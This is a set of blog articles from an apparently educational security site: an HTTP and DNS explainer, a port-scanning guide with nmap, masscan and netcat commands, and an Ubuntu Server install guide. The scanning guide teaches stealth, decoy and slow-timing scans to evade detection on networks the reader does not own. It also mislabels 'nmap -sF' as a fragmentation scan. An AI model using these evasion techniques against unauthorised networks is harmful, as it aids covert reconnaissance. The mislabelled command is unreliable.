    • Answer: Ransomware is a type of malware that encrypts files or locks users out of their systems, demanding a ransom payment in exchange for restoring access. It typically spreads through phishing emails, malicious attachments, or compromised websites, and once activated, it encrypts files or systems, making them inaccessible until the ransom is paid.

    What is the dark web and should I access it?

    • Answer: The dark web is a part of the internet that is not indexed by search engines and is often used for illegal activities, such as buying and selling drugs, weapons, and stolen data. Accessing the dark web can be risky and illegal in some cases, as it may expose you to malicious actors and illegal content.

    How do I report a cyber crime?

    • Answer: If you are a victim of cyber crime or encounter suspicious activity online, you can report it to the appropriate authorities, such as your local law enforcement agency, the Internet Crime Complaint Center (IC3), or the Cybersecurity and Infrastructure Security Agency (CISA).

    What steps should I take if my accounts are hacked?

    • Answer: If your accounts are hacked, you should immediately change your passwords, enable two-factor authentication if available, review your account activity for any unauthorized changes or transactions, and report the incident to the affected service provider. Additionally, consider running antivirus scans on your devices to check for malware.

    Is DSA important or required to become a cyber security expert?

    • Answer: While expertise in Data Structures and Algorithms (DSA) is not a strict requirement for becoming a cybersecurity expert, it can certainly be beneficial. DSA knowledge helps in understanding how data is organized, stored, and manipulated, which can be valuable when analyzing and securing systems and networks.
  • How the Internet Works | A Detailed Guide

    How the Internet Works | A Detailed Guide

    Before we start troubleshooting, let’s take some time to understand how the network works. Finding web vulnerabilities is all about exploiting the weaknesses of the technology, so all good hackers should have a clear understanding of them. If you are already familiar with these processes, you can move on to monitoring Internet security. The following question is a good starting point: what happens when you type www.google.com into your browser? In other words, how does your browser know how to navigate from a domain name like google.com to the web page you’re looking for? Let’s find out.

    Part 1: Client-server model

    The Internet consists of two types of devices: clients and servers. Clients request resources or services, and servers provide those resources and services. When you visit a website using a browser, it acts as a client and requests a web page from the web server. The web server will then send your browser a web page (picture below):

    Internet clients request resources from servers

    A web page is nothing but a collection of resources or files sent by a web server. For example, at a minimum, the server will send your browser a text file written in a hypertext markup language ( HTML ), a language that tells your browser what to display. Most web pages also include Cascading Style Sheets ( CSS ) files to make them look beautiful. Sometimes web pages also contain JavaScript (JS) files , which allow sites to animate the web page and respond to user input without using a server.

    For example, JavaScript can resize images as users scroll and validate user input on the client side before sending it to the server. Finally, your browser can receive embedded resources such as images and videos. Your browser will combine these resources to display the web page you see.


    Servers don’t just return web pages to the user. Web APIs allow applications to request data from other systems. This allows applications to communicate with each other and control the exchange of data and resources. For example, Twitter APIs allow other websites to send requests to Twitter servers to obtain data such as lists of public tweets and their authors. APIs provide many functions of the Internet beyond this, and we will return to them, as well as their security, in future sections.

    Discover: So You Want to Be a Hacker: 2024 Edition

    Part 2: Domain name system | Internet ports

    Well, every device connected to the Internet has a unique Internet Protocol ( IP ) address that other devices can use to find it. However, IP addresses consist of numbers and letters that are difficult for humans to remember. For example, the old IPv4 IP address format looks like this: 123.45.67.89 . The new version of IPv6 looks even more complex: 2001:db8::ff00:42:8329 .This is where the Domain Name System ( DNS ) comes to the rescue. A DNS server functions like a phone book on the Internet, converting domain names into IP addresses (picture below). When you enter a domain name in a browser, the DNS server must first resolve the domain name to an IP address. Our browser asks the DNS server: “What IP address is this domain on?”





    A DNS server will translate a domain name to an IP address.

    Internet portsOnce your browser receives the correct IP address, it will try to connect to that IP address through the port. A port is a logical separation of devices that identifies a specific network service. We identify ports by their numbers, which can range from 0 to 65535 .Ports allow a server to provide multiple services to the Internet at the same time. Because there are conventions for traffic received on specific ports, port numbers also allow the server to quickly forward incoming Internet messages to the appropriate service for processing. For example, if an internet client connects to port 80 , the web server understands that the client wants to access its web services (picture below).

    Ports allow servers to provide multiple services. Port numbers help forward client requests to the right service.

    By default, we use port 80 for HTTP messages and port 443 for HTTPS , the encrypted version of HTTP .

    Part 3: HTTP requests and responses

    Once a connection is established, the browser and server communicate via the Hypertext Transfer Protocol ( HTTP ). HTTP is a set of rules that define how Internet messages are structured and interpreted, and how web clients and web servers should exchange information.

    When your browser wants to communicate with the server, it sends an HTTP request to the server. There are different types of HTTP requests, the most common being GET and POST . By convention, GET requests retrieve data from the server, and POST requests transfer data to it. Other common HTTP methods include OPTIONS , used to request allowed HTTP methods for a given URL ; PUT – used to update a resource; and DELETE , used to delete a resource.
    Here is an example of a GET request that requests the home page www.google.com from the server :


    GET / HTTP/1.1
    Host: www.google.com
    User-Agent: Mozilla/5.0
    Accept: text/html,application/xhtml+xml,application/xml
    Accept-Language: en-US
    Accept-Encoding: gzip, deflate
    Connection: close

    Let’s go through the structure of this request since you will come across many such requests in this series of articles. All HTTP requests consist of a query line, request headers, and an optional request body. The previous example contains only the query string and headers.
    The query line is the first line of an HTTP request. It specifies the request method, the URL requested, and the HTTP version used. Here you can see that the client is sending an HTTP GET request to the home page of www.google.com using HTTP version 1.1.
    The remaining lines are the HTTP request headers. They are used to pass additional information about the request to the server. This allows the server to customize the results sent to the client. In the previous example, the Host header specifies the hostname of the request. The User-Agent header contains information about the operating system and version of the requesting software, such as the user’s web browser. The Accept, Accept-Language, and Accept-Encoding headers tell the server what format the responses should be in. The Connection header tells the server whether the network connection should remain open after the server responds.

    You may see several other common headers in requests. The Cookie header is used to send cookies from the client to the server. The Referer header indicates the address of the previous web page that linked to the current page. The authorization header contains the credentials to authenticate the user to the server. Once the server receives the request, it will try to fulfill it. The server will return all resources used to create your web page using HTTP responses. The HTTP response contains several elements: an HTTP status code indicating whether the request was successful; HTTP headers, which are pieces of information that browsers and servers use to communicate with each other regarding authentication, content format, and security policies; and the HTTP response body or actual web content that you requested. Web content can include HTML code, CSS style sheets, JavaScript code, images, and more.
    Here is an example HTTP response:

    Notice the 200 OK message on the first line (1) . This is the status code. An HTTP status code in the range of 200 indicates a successful request. A status code in the 300 range indicates a redirect to another page, while a 400 range indicates an error on the client side, such as a request for a page that does not exist. A range of 500 means that there was an error on the server itself.

    As a bug hunter, you should always keep an eye on these status codes as they can tell you a lot about how the server is performing. For example, status code 403 means that the resource is prohibited for you. This could mean that sensitive data is hidden on a page that you can access if you can bypass access controls.

    The next few lines in the response, separated by a colon (:), are the HTTP response headers. They allow the server to pass additional information about the response to the client. In this case, you can see that the response time was Tue, 31 Aug 2021 17:38:14 GMT (2). The Content-Type header specifies the file type of the response body. In this case, the Content-Type of this page is text/html (3) . The server version is Google Web Server (gws) (4) and the Content-Length is 190,532 bytes (5) . Typically, additional response headers indicate the content of the content: format, language, and security policies.

    In addition to these, you may encounter several other common response headers. The Set-Cookie header is sent by the server to the client to set the cookie. The Location header specifies the URL to which the page should be redirected. The Access-Control-Allow-Origin header specifies which origins can access the page’s content. Content-Security-Policy controls the origin of resources that the browser is allowed to load, and the X-Frame-Options header specifies whether a page can be loaded inside an iframe. The data after the empty line represents the response body. It contains the actual content of the web page, such as HTML and JavaScript code. Once your browser has all the information it needs to create a web page, it will render everything for you.

    ❤️ If you liked the article, like and subscribe to my channel Codelivly”.

    👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

  • The Art of Port Scanning

    The Art of Port Scanning

    Well, let’s dive into one of the most essential skills in the world of network security: port scanning. If you’ve ever been curious about how to uncover the open doors (or “ports”) on a system that allows communication, you’re in the right place. Port scanning is like knocking on the doors of a house to see who’s home, except here, the house is a computer, and each door is a different service running on that machine.

    Port scanning helps you understand the landscape of a network, and it’s one of the first steps in both ethical hacking and system administration. Whether you are testing the security of your network or learning a new skill these should be in the knowledge bank.

    Before we jump into the techniques and tools, I should mention that I’ve written a book called Scanning the Internet with Nmap. If you’re serious about learning more after reading this article, that book will take you deeper into Nmap, which is hands down one of the best tools for port scanning. But for now, let’s get you started with the basics!

    Understanding Ports and Protocols

    Let’s break it down simply: ports are like doors or entry points on a computer or server. Each port allows specific kinds of traffic to flow in and out, kind of like how different doors in your house lead to different rooms. Some ports are used for things like browsing the web, sending emails, or connecting to a remote server.

    In technical terms, a port is a number assigned to a specific service or application running on a device. For example, when you visit a website, your computer connects to port 80 (HTTP) or 443 (HTTPS) on the web server. So, ports help organize and manage the different types of communication happening over a network. They’re crucial in figuring out which services are running and what’s open for access.

    Commonly Used Ports (TCP vs. UDP)

    Let’s dive into some of the most commonly used ports, and how they’re split between TCP (Transmission Control Protocol) and UDP (User Datagram Protocol).

    TCP Ports

    TCP is more reliable and ensures data is sent correctly. It’s used for tasks that require a stable connection. Here are some common TCP ports you’ll come across:

    • Port 80 – HTTP (Web traffic)
    • Port 443 – HTTPS (Secure web traffic)
    • Port 22 – SSH (Secure remote login)
    • Port 25 – SMTP (Email sending)
    • Port 21 – FTP (File Transfer Protocol)

    UDP Ports

    UDP is faster but doesn’t guarantee that all data arrives, making it perfect for things like streaming or gaming where speed is more important than accuracy. Common UDP ports include:

    • Port 53 – DNS (Domain Name System)
    • Port 69 – TFTP (Trivial File Transfer Protocol)
    • Port 123 – NTP (Network Time Protocol)
    • Port 161 – SNMP (Simple Network Management Protocol)
    • Port 67/68 – DHCP (Dynamic Host Configuration Protocol)

    These ports are like the shortcuts that allow your system to communicate with others. Whether it’s downloading a file or loading a webpage, it all happens through these little gateways!

    Port Ranges (Well-known, Registered, Dynamic)

    Ports are divided into different ranges, each serving a different purpose. Let’s break them down:

    1. Well-known Ports (0-1023)

    These are the most commonly used ports and are reserved for standard services and protocols. You’ll find popular services like:

    • Port 80 – HTTP (Web browsing)
    • Port 443 – HTTPS (Secure web browsing)
    • Port 22 – SSH (Remote secure login)
    • Port 25 – SMTP (Email sending)

    These ports are like the VIP lanes on the internet—used by services that almost everyone relies on.

    2. Registered Ports (1024-49151)

    These are used by applications or software that require a specific port. They aren’t as “famous” as well-known ports, but still serve an important role. For example:

    • Port 3306 – MySQL Database
    • Port 8080 – HTTP alternative for web servers

    Think of these as the mid-range ports where specific programs set up shop.

    3. Dynamic or Private Ports (49152-65535)

    These are temporary ports, often used by client applications when connecting to servers. They’re assigned dynamically when needed and released once the connection ends. No specific service lives here—it’s just used for quick, temporary connections.

    In simple terms, well-known ports are like the main roads, registered ports are specific pathways for certain apps, and dynamic ports are the side streets where things happen temporarily.

    Types of Port Scanning Techniques

    Sure! Here are practical examples of each port scanning technique using common tools like Nmap. I’ll provide the commands you can use to perform these scans:

    1. TCP Connect Scan

    This is the most basic type of scan. It completes the full connection (the “three-way handshake”) with the target machine. If the port is open, the connection is successful. If it’s closed, the connection is rejected.

    • Pros: Easy to perform, works reliably.
    • Cons: Noisy and easy to detect by security systems.

    Command:

    nmap -sT <target_ip>

    Example:

    nmap -sT 192.168.1.1

    Explanation: This performs a full TCP connect scan, where Nmap attempts to establish a connection with each port. It’s a straightforward and reliable method.

    2. SYN Scan (Half-Open Scan)

    This scan only sends the initial SYN (synchronize) packet and waits for a response. It doesn’t fully open the connection, which makes it quicker and stealthier than a full TCP Connect scan.

    • Pros: Faster and harder to detect.
    • Cons: May still be logged by intrusion detection systems.

    Command:

    nmap -sS <target_ip>

    Example:

    nmap -sS 192.168.1.1

    Explanation: This sends SYN packets to the target ports and waits for responses. It doesn’t complete the TCP handshake, making it stealthier and faster.

    3. UDP Scan

    Instead of using TCP, this scan targets UDP ports. Since UDP doesn’t establish connections like TCP, the scanner sends UDP packets and looks for responses. Lack of a response often means the port is open.

    • Pros: Useful for scanning services that run over UDP (DNS, DHCP).
    • Cons: Slower and less reliable since it’s harder to know if a port is open or filtered.

    Command:

    nmap -sU <target_ip>

    Example:

    nmap -sU 192.168.1.1

    Explanation: This scans for open UDP ports by sending UDP packets to the target. UDP scans can be slower and less reliable due to the nature of UDP.

    4. FIN, Xmas, and Null Scans

    These are stealthy scans that send unusual packets to confuse firewalls and detection systems.

    • FIN Scan: Sends a FIN (finish) packet without an established connection.
    • Xmas Scan: Sends packets with all the flags set, like a Christmas tree with lights on.
    • Null Scan: Sends packets with no flags set.
    • Pros: Can bypass poorly configured firewalls.
    • Cons: Often not effective against modern firewalls.

    FIN Scan Command:

    nmap -sF <target_ip>

    Example:

    nmap -sF 192.168.1.1

    Xmas Scan Command:

    nmap -sX <target_ip>

    Example:

    nmap -sX 192.168.1.1

    Null Scan Command:

    nmap -sN <target_ip>

    Example:

    nmap -sN 192.168.1.1

    Explanation: These scans send packets with unusual flags set to evade detection by firewalls and intrusion detection systems.

    5. ACK Scan

    This scan is used to check the filtering rules of firewalls. It doesn’t tell you if a port is open, but whether a firewall is blocking traffic to that port.

    • Pros: Helps identify firewall rules.
    • Cons: Doesn’t tell you if the port is open or closed.

    Command:

    nmap -sA <target_ip>

    Example:

    nmap -sA 192.168.1.1

    Explanation: This scan sends ACK packets to determine if a port is filtered by a firewall. It helps understand how the firewall is configured.

    6. Window and Fragmentation Scans

    Window Scan: Exploits differences in TCP window size to determine port state.

    Fragmentation Scan: Splits packets into smaller pieces to avoid detection by firewalls.

    Pros: Advanced and hard to detect.

    Cons: Requires more knowledge and isn’t as reliable.

    Window Scan Command:

    nmap -sW <target_ip>

    Example:

    nmap -sW 192.168.1.1

    Fragmentation Scan Command:

    nmap -sF <target_ip>

    Example:

    nmap -sF 192.168.1.1

    Explanation: Window scans exploit TCP window size variations, while fragmentation scans send packets in fragments to avoid detection.

    These examples should give you a good starting point for using different scanning techniques to explore network security.

    Popular Port Scanning Tools

    When it comes to port scanning, several tools are widely used in the cybersecurity community. Here’s a rundown of some of the most popular ones:

    1. Nmap

    Description: Nmap (Network Mapper) is one of the most well-known and versatile port scanning tools. It’s used for network discovery and security auditing.

    Key Features:

    • Supports various scanning techniques (TCP, SYN, UDP).
    • Provides detailed information about open ports and services.
    • Can perform OS detection and version detection.

    Command Example:

    nmap -sS <target_ip>

    2. Masscan

    Description: Masscan is known for its speed and is capable of scanning the entire Internet in a short amount of time. It’s a great tool for large-scale network scans.

    Key Features:

    • Extremely fast and efficient.
    • Capable of scanning large ranges of IP addresses.

    Command Example:

    masscan -p1-65535 <target_ip>

    3. Zenmap

    Description: Zenmap is the official graphical user interface (GUI) for Nmap. It’s useful for users who prefer a visual approach to scanning and analysis.

    Key Features:

    • Provides a graphical interface for Nmap’s features.
    • Useful for creating and saving scan profiles.

    Command Example:
    Zenmap doesn’t use command-line inputs. Instead, you can set up scans through the GUI.

    4. Unicornscan

    Description: Unicornscan is a versatile network scanner designed for information gathering and reconnaissance. It’s particularly useful for advanced network scanning.

    Key Features:

    • Supports multiple scanning modes and techniques.
    • Can handle complex scan tasks.

    Command Example:

    unicornscan -i <interface> -p <ports> <target_ip>

    5. Netcat (nc)

    Description: Netcat is often called the “Swiss Army knife” of networking. While it’s not primarily a port scanner, it can be used for simple port scanning tasks.

    Key Features:

    • Versatile tool for network diagnostics.
    • Can be used for basic port scanning and network analysis.

    Command Example:

    nc -zv <target_ip> <port_range>

    Example:

    nc -zv 192.168.1.1 1-1024

    These tools each have their strengths and can be used in various scenarios depending on your needs. Whether you’re performing a quick scan or a deep dive into network security, these tools will help you get the job done.

    Port Scanning in Practice

    Let’s get hands-on with port scanning! Here’s a step-by-step guide to setting up and running port scans, interpreting the results, and exploring some advanced options.

    Setting Up the Environment

    1. Choose Your Tool: Depending on your needs, select one of the tools mentioned earlier (Nmap, Masscan, etc.).
    2. Install the Tool:
    • For Nmap, you can install it via package managers like apt on Debian-based systems or brew on macOS.
      bash sudo apt-get install nmap
    • For Masscan, download it from the official site or repository and compile it.
    • Zenmap can be installed alongside Nmap for a GUI experience.
    • Unicornscan and Netcat are available in most package repositories.

    Basic Port Scanning Commands

    1. Nmap Basic Scan
      Command:
       nmap <target_ip>

    Example:

       nmap 192.168.1.1

    Explanation: This performs a basic scan to detect open ports on the target.

    1. Masscan Basic Scan
      Command:
       masscan -p1-65535 <target_ip>

    Example:

       masscan -p1-65535 192.168.1.1

    Explanation: Scans all ports from 1 to 65535 on the target.

    1. Netcat Basic Scan
      Command:
       nc -zv <target_ip> <port_range>

    Example:

       nc -zv 192.168.1.1 1-1024

    Explanation: Scans ports 1 through 1024 on the target.

    Interpreting Scan Results

    1. Open Ports: These are ports where services are actively listening. They’ll typically show up with a state like “open” or “open|filtered”.
    2. Closed Ports: These ports are not open for connections and will usually be reported as “closed”.
    3. Filtered Ports: If a port is filtered, it means the scan couldn’t determine if the port is open or closed due to firewalls or other security measures.

    Example Results:

    Nmap scan report for 192.168.1.1
    Host is up (0.0010s latency).
    Not shown: 997 filtered ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http

    Advanced Port Scanning Options

    1. Timing Options (Nmap)
      Command:
       nmap -T4 <target_ip>

    Example:

       nmap -T4 192.168.1.1

    Explanation: Adjusts the timing to speed up the scan without missing results.

    1. Service Version Detection (Nmap)
      Command:
       nmap -sV <target_ip>

    Example:

       nmap -sV 192.168.1.1

    Explanation: Detects the versions of services running on open ports.

    1. OS Detection (Nmap)
      Command:
       nmap -O <target_ip>

    Example:

       nmap -O 192.168.1.1

    Explanation: Attempts to identify the operating system of the target.

    Port scanning is a powerful tool for network exploration and security assessment. By understanding how to set up, execute, and interpret scans, you can gain valuable insights into the systems you’re working with. Always remember to use these techniques responsibly and ensure you have permission to scan the network or system in question.

    Avoiding Detection: Stealth Scanning

    When performing port scans, especially on networks you don’t own, it’s crucial to avoid detection to prevent triggering alarms or drawing unwanted attention. Here are some stealth scanning techniques to help you stay under the radar:

    1. SYN Scan (Half-Open Scan)

    Description: This technique sends SYN packets to ports without completing the TCP handshake. It’s less noticeable because it doesn’t fully connect to the target.

    Command:

    nmap -sS <target_ip>

    Example:

    nmap -sS 192.168.1.1

    Explanation: This scan is stealthy because it doesn’t establish a full connection, making it harder for intrusion detection systems to detect.

    2. FIN, Xmas, and Null Scans

    FIN Scan:
    Command:

    nmap -sF <target_ip>

    Example:

    nmap -sF 192.168.1.1

    Explanation: Sends FIN packets to ports. Closed ports respond with a RST, while open ports typically ignore the packet.

    Xmas Scan:
    Command:

    nmap -sX <target_ip>

    Example:

    nmap -sX 192.168.1.1

    Explanation: Sends packets with the FIN, URG, and PSH flags set. Closed ports respond with a RST, while open ports usually ignore it.

    Null Scan:
    Command:

    nmap -sN <target_ip>

    Example:

    nmap -sN 192.168.1.1

    Explanation: Sends packets with no flags set. Closed ports respond with a RST, and open ports typically ignore the packet.

    3. ACK Scan

    Description: This scan is used to determine whether ports are filtered by sending ACK packets. It doesn’t reveal whether ports are open or closed, just whether they are filtered.

    Command:

    nmap -sA <target_ip>

    Example:

    nmap -sA 192.168.1.1

    Explanation: By analyzing responses, you can infer if a firewall is present and its rules, without directly revealing open or closed ports.

    4. Fragmentation Scan

    Description: This scan fragments packets to bypass firewalls and intrusion detection systems that might not reassemble the packets correctly.

    Command:

    nmap -sF <target_ip>

    Example:

    nmap -sF 192.168.1.1

    Explanation: Splits packets into smaller pieces, making it harder for firewalls to detect the scan.

    5. Timing and Decoy Options

    Timing Options:
    Command:

    nmap -T0 <target_ip>

    Example:

    nmap -T0 192.168.1.1

    Explanation: Slows down the scan to make it less likely to trigger alerts. Timing options range from 0 (paranoid) to 5 (insane).

    Decoy Scan:
    Command:

    nmap -D RND:10 <target_ip>

    Example:

    nmap -D RND:10 192.168.1.1

    Explanation: Uses decoy IP addresses to mask your real IP, making it harder for the target to identify the source of the scan.

    6. Avoiding Common Detection Mechanisms

    Avoiding Rate Limits: Some systems have rate limits that can trigger alerts. Use slower scanning options or spread out your scans.

    IP Spoofing: In some cases, you might spoof your IP address to obscure your identity, though this can be complex and is not always effective.

    Stealth scanning techniques help reduce the likelihood of detection while performing network scans.

    8. Defending Against Port Scans

    Port scans are a common technique used by attackers to discover open ports and services on a network. Defending against these scans is crucial for maintaining network security and privacy. Here are some strategies and best practices to help protect your network from port scanning:

    1. Implement Firewalls

    Description: Firewalls can be configured to block unauthorized traffic and prevent scans from reaching your services.

    Best Practices:

    • Block Unnecessary Ports: Only allow traffic through ports that are essential for your operations. Close all other ports.
    • Rate Limiting: Configure your firewall to limit the number of connection attempts from a single IP address to prevent automated scans.
    • Intrusion Detection Systems (IDS): Use IDS to detect and alert on scanning activities.

    Example Command (iptables):

    iptables -A INPUT -p tcp --dport <port> -j ACCEPT
    iptables -A INPUT -p tcp --dport 1:1023 -j DROP

    2. Use Network Address Translation (NAT)

    Description: NAT hides internal IP addresses behind a single public IP address, making it harder for attackers to target specific internal machines.

    Best Practices:

    • Configure NAT Properly: Ensure that internal IP addresses are not exposed directly to the public internet.
    • Combine with Firewalls: Use NAT in conjunction with firewalls to control inbound and outbound traffic.

    3. Employ Intrusion Prevention Systems (IPS)

    Description: IPS systems actively block malicious activities and scans in real-time.

    Best Practices:

    • Regular Updates: Keep your IPS updated with the latest threat signatures and patterns.
    • Custom Rules: Create custom rules to detect and block specific scanning techniques.

    4. Use Obfuscation Techniques

    Description: Obfuscating services and ports can make it more difficult for attackers to identify and access them.

    Best Practices:

    • Port Knocking: Implement port knocking to hide open ports until a specific sequence of “knocks” is received.
    • Service Banner Obfuscation: Modify or remove service banners that reveal information about the services running on open ports.

    Example (port knocking with Knockd):

    # Example configuration for Knockd
    [options]
        logfile = /var/log/knockd.log
    
    [openssh]
        sequence = 1234,5678,9012
        seq_timeout = 10
        command = /sbin/iptables -A INPUT -p tcp --dport 22 -j ACCEPT
        tcpflags = syn
    
    [close]
        sequence = 4321,8765,2109
        seq_timeout = 10
        command = /sbin/iptables -D INPUT -p tcp --dport 22 -j ACCEPT
        tcpflags = syn

    5. Regularly Update and Patch Systems

    Description: Keeping systems and software updated helps protect against vulnerabilities that could be exploited during scans.

    Best Practices:

    • Automatic Updates: Enable automatic updates for critical systems and applications.
    • Regular Patching: Regularly apply patches and updates to all software and hardware components.

    6. Monitor Network Traffic

    Description: Regular monitoring helps detect and respond to suspicious activities, including port scans.

    Best Practices:

    • Network Monitoring Tools: Use tools like Wireshark, Snort, or other network analyzers to monitor traffic.
    • Log Analysis: Regularly review firewall and IDS logs for signs of scanning and other suspicious activities.

    Example Command (tcpdump):

    tcpdump -i eth0 -n -s0 -vv tcp

    7. Implement Access Controls

    Description: Restrict access to critical services and resources based on user roles and network segments.

    Best Practices:

    • Access Control Lists (ACLs): Define ACLs to restrict access to certain ports and services based on IP addresses and user roles.
    • Segmentation: Use network segmentation to isolate sensitive systems and limit the impact of a scan.

    Example (Cisco ACL):

    access-list 100 deny ip 192.168.1.0 0.0.0.255 any
    access-list 100 permit ip any any

    8. Use Security Best Practices

    Description: Follow general security best practices to minimize the attack surface and enhance overall security.

    Best Practices:

    • Least Privilege: Apply the principle of least privilege to limit user and service permissions.
    • Encryption: Use encryption for data in transit and at rest to protect sensitive information.

    Defending against port scans involves a combination of technical controls, monitoring, and good security practices.

    Conclusion

    Port scanning is a fundamental technique used in network exploration and security assessments. Understanding how to effectively conduct port scans and, more importantly, how to defend against them is essential for maintaining robust network security.

    Risk control methods such as firewall, NAT (network address translation) and IPS can well protect the dangers posed by port scanning. Use obfuscation techniques and keep your systems updated, you can then act as an extra layer of defense for your customers. You should also monitor network traffic and apply access control to identify threats and respond suitably.

    For those looking to dive deeper into network scanning and security, our book, Scanning the Internet with Nmap,” offers an in-depth look at one of the most powerful port scanning tools available. It provides practical insights and advanced techniques for using Nmap to secure and analyze networks effectively.

    Additionally, for a broader understanding of cybersecurity, including defensive strategies, check out our resources on Codelivly. We offer comprehensive modules and guides that cover various aspects of cybersecurity, from offensive techniques to defensive measures.

  • How to Install Linux Ubuntu and Configure as a Server

    How to Install Linux Ubuntu and Configure as a Server

    When we hear the word “server“, we imagine a huge supercomputer that takes up an entire floor. But not only can giant corporations like Google and Microsoft afford this device. Anyone can make a server from inexpensive components that are at hand. Let’s figure out what it can be useful for.

    Why Linux?

    Why do we need Linux? Imagine the situation: you are planning to create your server and are faced with the choice of an operating system. The most obvious option may seem to be using Windows – after all, it is widespread and familiar to most users. However, there is a special parallel world where Linux-based server solutions occupy leading positions. So why would we need a Linux server if we have Windows? Let’s take a look at some of the compelling benefits that a Linux-based server offers:

    1. Firstly, Linux offers a high degree of reliability and stability. Native architecture, security, flexible configuration, and regular system updates allow you to avoid many problems that a Windows server may encounter.
    2. Secondly, Linux is open-source software with a free GNU/GPL license. This means that you not only save money on the license cost, but you are also free to modify the operating system to suit your needs and distribute it without restrictions.
    3. The third important factor is the flexibility of Linux. It offers a wide range of distributions, each of which can be customized to suit the needs of a particular server. The Linux community also actively develops and supports various programs and tools, giving you unlimited opportunities to improve your server.
    4. Finally, Linux is a platform with excellent compatibility with a wide range of software, including databases, web servers, administrative tools, and other applications. High compatibility and a wide selection of programs will help you get the most out of your Linux-based server.
    5. And yes – it’s free! Of course, there are commercial distributions, but free packages also provide long-term support with updates.

    In our article, we will look at the details and steps for creating a server to fully take advantage of all the benefits of a Linux-based OS.

    Installing Linux

    We will install on a Hyper-V virtual machine, only to be able to create images of the process, otherwise how else to take screenshots? 🙂 

    • As a distribution, we chose Ubuntu Server LTS 22.04.3, in our opinion one of the most advantageous distributions in terms of support and stability.
    • Also, our choice is justified by the fact that inside the Ubuntu Server version, unlike Ubuntu Desktop, there will not be any “extra” programs and services that are not particularly needed on a server machine – for example, a package of programs for working with documents like LIbre Office.
    • Inside Ubuntu Server “out of the box” there is no graphics, which is logical for a server distribution, but for a more “smooth” acquaintance with the Linux eco-system we will install the graphical shell “XFCE4” – it eats up few resources, but provides graphics. As soon as you need it – you can remove it.


    The pros and cons and differences between Linux distributions can be discussed separately – this is a topic for a separate article. For now, we will focus on the basic installation and minimal initial settings required for a server machine.

    Step 1 – Download the Linux installation image

    On the official website, download the Ubuntu Server 22.04.3 LTS distribution → to do this, select option 1 and click on the “Ubuntu Server 22.04.3 LTS” button: link to the official page .

    Step 2 – Download the installation image

    Since we will be installing on a virtual machine, when creating a new virtual machine, it will be enough to select our downloaded file as the download source in the hypervisor settings. For those who decide to install it on a physical server, you will additionally need to create a bootable USB flash drive by writing the image to the media. Programs for this: DiskMaker X, Installer Disk, Rufus, Etcher, Universal USB installer, and many others.

    Step 3 – Start the installation process

    After we have prepared the media, created a virtual machine, and selected an image to boot the operating system, we start the installation process. For a flash drive, reboot the machine and enter the BIOS to select the bootable media. In the case of a virtual machine, we simply start it. A window will open for selecting the installation → select “Try or Install Ubuntu Server”

    Step 4 – Select the language

    Although English will be installed by default, for beginners we recommend choosing Russian to simplify the perception of the system.

    Step 5 – Upgrade Agreement

    If your machine is connected to the network and a new version of the installer is available in remote repositories → you will be prompted to update the installer or continue without updates. We will choose to install without updates because we are satisfied with this version of the installer.

    Step 6 – Select the layout

    We recommend leaving it as is.

    Step 7 – Selecting the installation type

    Since we are going to install without unnecessary services, packages, etc., we should choose “Minimized”. In this way, we make our system lightweight by reducing unnecessary programs and services. If we end up missing something, we can easily install it later.

    Step 8 – Configure the network interface

    If you have an understanding and experience in fine-tuning the network, then here you can configure specific static IPs. By default, all settings will be set via DHCP. For those less experienced, we recommend leaving the settings unchanged and selecting “Done”.

    Step 9 – Proxy

    If there are no restrictions on the Internet connection, then you can skip this step.

    Step 10 – Archive Mirror

    We leave the default value

    Step 11 – Marking up the file space

    At this step, the installer will prompt you to select the disk on which the OS will be installed, as well as options for partitioning and encryption. If you want to make a custom partitioning, then select “Custom storage layout”. Or let the program create partitions and for this, select “Use entire disk” + “Set up this disk as an LVM group”. For the first time installing Ubuntu Server, we recommend choosing this option. 

    On the next page, we will be presented with a detailed description of the partitioning scheme. Experienced Linux users recommend providing the installation wizard with all available space in the LVM logical volume. Without understanding, we do not recommend making any changes in this section. Therefore, click “Finish”.

    Step 12 – Create a user profile

    At this step, you need to set the name of our user + server name.

    After setting up the user, the installation program may offer you to upgrade to the PRO version of the product. But since it is not free → we skip

    Step 14 – SSH Key

    If you are going to use a secure remote connection protocol via SSH, install it immediately. But you can do this at any time after installing the system.

    Step 15 – Additional Packages

    Since we are interested in the “lightness” of the server and the absence of unnecessary services, programs → then without selecting anything, click “Done”. Any package from the list can be installed at any time.

    Step 16 – Completing the installation

    As soon as we click “Finish”, the installation process will begin, and the user will no longer need any additional manipulations. Therefore, we just wait for the installation to complete. And as a result, the installer will offer us to reboot the system.
    If suddenly, when working on a Hyper-V virtual machine, an error occurs after rebooting with the text “Please remove the installation medium…” – then simply enter the command “sudo reboot” 

    Login

    Excellent! At this point, the Ubuntu Server installation can be considered complete. Now all we have to do is log in to the system using the user data (login, password) that we created earlier, and the system can be considered ready for work.

    Installing the graphical interface

    As we said at the very beginning → for less experienced users, working only with the command line can be quite unusual, and therefore we suggest installing a graphical shell for our server, which will not consume much RAM, but will allow us to smoothly enter the “world” of Linux users.

    • To do this, first of all after installation, enter the command “ sudo apt update ” in the line – this will start checking for updates for the installed packages.
    • Next, update these packages with the command ” sudo apt upgrade “.  The installation process may ask for confirmation – just press the “Enter” key.
    • After this, the system will prompt you to restart the running services – enter the number that will have the option “none of above”
    • Now the most important thing is to install the graphical shell, download manager (user authorization), and Russian language pack (for localization).
      To do this, enter the command:
       ” sudo apt install xfce4 xdm xfce4-xkb-plugin language-pack-ru -y “.
      And after the installation is complete, be sure to reboot with the command: ” sudo reboot”
    • If we did everything correctly, then after rebooting the system user authorization window will appear, where we must enter the login and password that we used earlier.
    • And finally, a graphical interface will open in front of us, where we will be able to configure programs in the usual way – with a mouse.

    Let’s sum it up

    1. The procedure for installing Ubuntu Server on your own is a fairly simple process. The default settings are suitable for most typical needs. However, experienced users can configure settings for specific tasks. 
    2. Linux is a very flexible tool in experienced hands, so the more we study its capabilities, the more we find advantages of using this system in work tasks.
    3. Free ready-made Linux distributions make it possible to create a good alternative to the usual Windows server.

    Conclusion

    In this article, we have considered the first step in the process of creating a server for 1C based on Linux and tried to briefly outline the main points of the installation process. In the following articles, we will tell you about how to install the PostgreSQL DBMS – for database management, configure the Apache web server and activate licenses for the 1C server.

  • A Hacker’s Guide to Building and Automating Security Tools

    A Hacker’s Guide to Building and Automating Security Tools

